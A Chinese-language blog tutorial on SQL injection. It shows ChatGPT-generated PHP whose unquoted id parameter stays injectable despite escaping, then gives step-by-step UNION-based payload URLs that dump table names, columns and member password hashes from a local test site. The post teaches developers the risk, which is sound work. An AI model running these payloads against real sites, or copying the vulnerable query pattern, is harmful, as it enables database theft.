利用 SQL Injection 取得資料庫所有資料


#SQL Injection#資安#PHP#MySQL

注碼攻擊 (SQL Injection) 是 PHP 初學者程式碼中常出現的漏洞,就算有使用框架的 ORM 還是很可能會在 Table Column Name 的地方用 Request Parameter 組字串造成 PDO prepare 做白工。

這篇文章著重在攻擊者會如何玩你的系統,在有限的條件下要想辦法取得資料,一步一步把你資料庫中的資料慢慢搬走。

產生範例


請 ChatGPT 寫一個範例,我直覺他會寫出有漏洞的程式,果不其然有一個地方可以利用,以下是我詠唱的指令

使用 PHP 寫登入會員,登入後有最新消息列表跟內容頁面可以看
裡面有三個預設會員,密碼你設定後跟我說;裡面預設有五篇文章
最後會產生一個 PHP 檔案與一個 SQL 檔案
使用繁體中文回答

以下為 ChatGPT 回應 (密碼我有改過,因為他給的 Hash 全錯,都不是 123456)

好的,我會幫你寫一個 PHP 登入會員系統,並設定三個預設會員的密碼,以及五篇預設文章。

### Table Create SQL

首先,我們來建立需要的資料表。這裡我們會建立兩個資料表,一個是會員資料表 `members`,另一個是文章資料表 `articles`。

```sql
-- 會員資料表
CREATE TABLE members (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);

-- 文章資料表
CREATE TABLE articles (
    id INT AUTO_INCREMENT PRIMARY KEY,
    title VARCHAR(100) NOT NULL,
    content TEXT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 插入預設會員
INSERT INTO members (username, password) VALUES ('member1', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');
-- 密碼是 123456 經過 bcrypt 加密後的結果

INSERT INTO members (username, password) VALUES ('member2', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');

INSERT INTO members (username, password) VALUES ('member3', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');

-- 插入預設文章
INSERT INTO articles (title, content) VALUES ('文章一', '這是文章一的內容。');
INSERT INTO articles (title, content) VALUES ('文章二', '這是文章二的內容。');
INSERT INTO articles (title, content) VALUES ('文章三', '這是文章三的內容。');
INSERT INTO articles (title, content) VALUES ('文章四', '這是文章四的內容。');
INSERT INTO articles (title, content) VALUES ('文章五', '這是文章五的內容。');
```

### PHP 登入會員系統範例

接下來是 PHP 的程式碼,用來實作登入會員功能、顯示最新消息列表和文章內容。

```php
<?php
// 連接資料庫
$servername = "localhost";
$username = "your_username";
$password = "your_password";
$dbname = "your_database";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 登入會員
session_start();

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // 防止 SQL 注入
    $username = mysqli_real_escape_string($conn, $username);

    $sql = "SELECT * FROM members WHERE username='$username'";
    $result = $conn->query($sql);

    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if (password_verify($password, $row['password'])) {
            $_SESSION['username'] = $username;
        } else {
            echo "密碼錯誤";
        }
    } else {
        echo "會員不存在";
    }
}

// 檢查登入狀態
if (!isset($_SESSION['username'])) {
    echo "
    <form method='post' action='login.php'>
        帳號:<input type='text' name='username'><br>
        密碼:<input type='password' name='password'><br>
        <input type='submit' value='登入'>
    </form>";
    exit;
}

// 登出
if (isset($_POST['logout'])) {
    session_unset();
    session_destroy();
    header("Location: login.php");
    exit;
}

// 最新消息列表
$sql = "SELECT * FROM articles ORDER BY created_at DESC LIMIT 5";
$result = $conn->query($sql);

echo "<h2>最新消息列表</h2>";
while ($row = $result->fetch_assoc()) {
    echo "<a href='article.php?id={$row['id']}'>{$row['title']}</a><br>";
}

// 文章內容頁面
if (isset($_GET['id'])) {
    $article_id = $_GET['id'];

    // 防止 SQL 注入
    $article_id = mysqli_real_escape_string($conn, $article_id);

    $sql = "SELECT * FROM articles WHERE id=$article_id";
    $result = $conn->query($sql);

    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        echo "<h2>{$row['title']}</h2>";
        echo "<p>{$row['content']}</p>";
    } else {
        echo "文章不存在";
    }
}

$conn->close();
?>
```

### 檔案說明

- **login.php**: 包含登入表單、處理登入、顯示最新消息列表和文章內容等功能。
- **article.php**: 處理文章列表顯示和文章內容的 PHP 程式碼。

請將這些程式碼分別存為 `login.php` 和 `article.php`。確保在使用前修改資料庫連線的相關設定(`$servername`, `$username`, `$password`, `$dbname`)以及使用者名稱和密碼的加密方式。

這樣你就擁有一個基本的 PHP 登入會員系統,並可以顯示最新消息列表和文章內容。預設會員的密碼分別是:

- member1: 密碼是 `123456`
- member2: 密碼是 `123456`
- member3: 密碼是 `123456`


可以看到雖然有使用 mysqli_real_escape_string 過濾,但卻忽略 mysqli_real_escape_string 的參數因為在 SQL 中沒有引號包起來所以漏洞還是存在。

攻擊


取得任意資料的原理就是使用 UNION 來覆蓋原本要撈取的資料,讓想取得的資料顯示在網頁的某處。

STEP 1

一般攻擊者不會知道你程式碼哪邊有問題,通常會從網址的 Get Parameter 去 Try。Try 的方式大概就是看會不會吐錯誤訊息或是用 Sleep。

網址的 id 參數是最常有洞的地方,以下方式如果發現前往網址有五秒鐘的延遲,代表注入成功,這有漏洞可以玩。

http://test-sql-injection.local.tw/article.php?id=2%20AND%20sleep(5)

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 AND sleep(5)



STEP 2

找到漏洞後就要 Try SQL 的 SELECT 有幾個欄位。
利用的是 ORDER BY 語句可以用 1 2 3 4 代替 SELECT 的相應順序欄位,所以試到資料撈不出來時就是這串 SQL 有 SELECT 幾個欄位。

http://test-sql-injection.local.tw/article.php?id=2%20ORDER%20BY%201

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 ORDER BY 1 
http://test-sql-injection.local.tw/article.php?id=2%20ORDER%20BY%205

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 ORDER BY 5 

當 ORDER BY 5 時文章內頁會是空的,代表 SQL 已經出錯資料撈不到,此時可以確認該 SQL 有 4 個 SELECT 欄位



STEP 3

抓到有幾個欄位後,就可以用 SELECT 1,2,3,4 的方式,去看這些欄位會對應到畫面的哪些位置,那幾個位置就是可以搞事的地方。

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,2,3,4

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,2,3,4

加個 AND 1=2 是要讓原本id 為 2 的資料撈不出來,以便用我們的 1,2,3,4 去取代



STEP 4

第三步得出文章標題是 2、文章內文是 3,就可以使用一些 SQL Function 來取得資料庫的基本資訊

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(table_name),4%20from%20information_schema.tables%20where%20table_schema=database()

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()

可以看到這邊將 2 取代成 database(),這個 Function 是將目前 Use 的 Database Name 印出來。
3 取代成 group_concat(table_name),MySQL 中的 information_schema 是存放一些資料庫的後設資料 (Metadata)。

INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges. Other terms that are sometimes used for this information are data dictionary and system catalog.

其中 information_schema.tables 是儲存 Table 的各項資訊。 group_concat 可以將多筆資料用逗號(,)整合成一筆 Row Data 方便顯示。
information_schema.tables.table_schema 會儲存資料庫名稱,所以剛好使用 table_schema=database() 就可以把目前該資料庫的資料表通通抓出來。



STEP 5

第四步得知有兩張表:members、articles。取得所有資料表名稱後,就可以開始抓 Table Columns

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(column_name),4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x61727469636C6573

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name=0x61727469636C6573

如同第四步,information_schema.columns 顧名思義是存放各個 Table 的 Columns。 可以看到這邊條件多了一個 table_name=0x61727469636C6573,這是因為 PHP 裡有將參數使用 mysqli_real_escape_string 做處理,所以如果使用 table_name='articles' 會被轉換成 table_name=\'articles\' 導致注入失敗,所以就要利用 MySQL 的特性「0x開頭會當十六進制編譯」,將字串轉為十六進制就可以不需要使用單引號(')完成搜尋,Google 搜尋「string to hex online」就可以找到許多人寫的轉換工具。



STEP 6

第五步得知 articles 這張資料表有四個欄位:id、title、content、created_at。既然有 Table Name 也有 Columns Name 了,那就可以將資料通通印出來了。

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(concat(id,0x2C,content,0x2C,title,0x2C,created_at)%20SEPARATOR%200x3C62723E),4%20from%20articles

組出的 SQL 會是

SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(concat(id,0x2C,content,0x2C,title,0x2C,created_at) SEPARATOR 0x3C62723E),4 from articles

印出來的結果就是一個 CSV 格式,太多筆就用 LIMIT 去處理,慢慢分批撈出,基本上其他表依樣畫葫蘆,你的資料庫就全部外洩了。

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(column_name),4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x6D656D62657273
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name=0x6D656D62657273

http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(concat(id,0x2C,username,0x2C,password)%20SEPARATOR%200x3C62723E),4%20from%20members
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(concat(id,0x2C,username,0x2C,password) SEPARATOR 0x3C62723E),4 from members


結語


一般常聽到 SQL Injection 實例是 Drop Table、繞過登入,但如果要執行 Drop Table 需要 Multiple Query,大部分的程式也不會用 mysqli_multi_query;登入也都會先抓使用者再比對 Password 的 Hash 是否正確了,要出現 OR 1=1 就能登入的情況也不多了。
Drop Table 可以靠備份,繞過登入可以發現後緊急補洞,但資料外洩一去不復返,不肖人士可以在你完全無察覺的情況將你所有資料偷走,寫程式時千萬要注意 SQL Injection。


參考:
https://dev.mysql.com/doc/refman/8.4/en/information-schema.html
https://dev.mysql.com/doc/refman/8.4/en/information-schema-table-reference.html
https://dev.mysql.com/doc/refman/8.4/en/hexadecimal-literals.html